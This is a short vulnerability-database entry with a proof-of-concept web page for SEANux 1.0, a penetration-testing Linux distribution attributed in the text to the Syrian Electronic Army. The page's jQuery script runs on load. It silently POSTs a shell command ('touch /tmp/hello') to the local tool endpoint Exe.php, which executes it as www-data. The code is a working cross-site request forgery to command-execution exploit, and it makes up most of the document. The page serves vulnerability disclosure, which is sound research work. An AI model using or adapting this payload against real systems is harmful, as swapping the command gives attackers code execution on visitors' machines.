The VapidLabs Vulnerability Database

SEANux 1.0 is a linux distribution Available here developed by the Syrian Electronic Army.  The distribution is focused on penetration testing and contains custom tools the SEA has developed.

<!-- PoC for http://www.vapid.dhs.org/blog/01-23-2015/ 
Larry W. Cashdollar
@_larry0
2/9/2015
--!>

<html>
<head>
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.11.2/jquery.min.js"></script>
<script>
$(document).ready(function(){
        $.post("http://localhost/tools/Exe.php",
        {
          cmd: "touch /tmp/hello",
          execute: "Execute"
        },
        function(data,status){
            alert("Data: " + data + "\nResult: " + status);
    });
});
</script>
</head>
<body>
<h2>
Hello!  You just executed the "touch /tmp/hello" command as www-data on your SEANux 1.0 installation.
</h2>
<hr>
<br>
<a href="http://www.vapid.dhs.org/blog/01-23-2015/">Details Here</a>
</body>
</html>

117796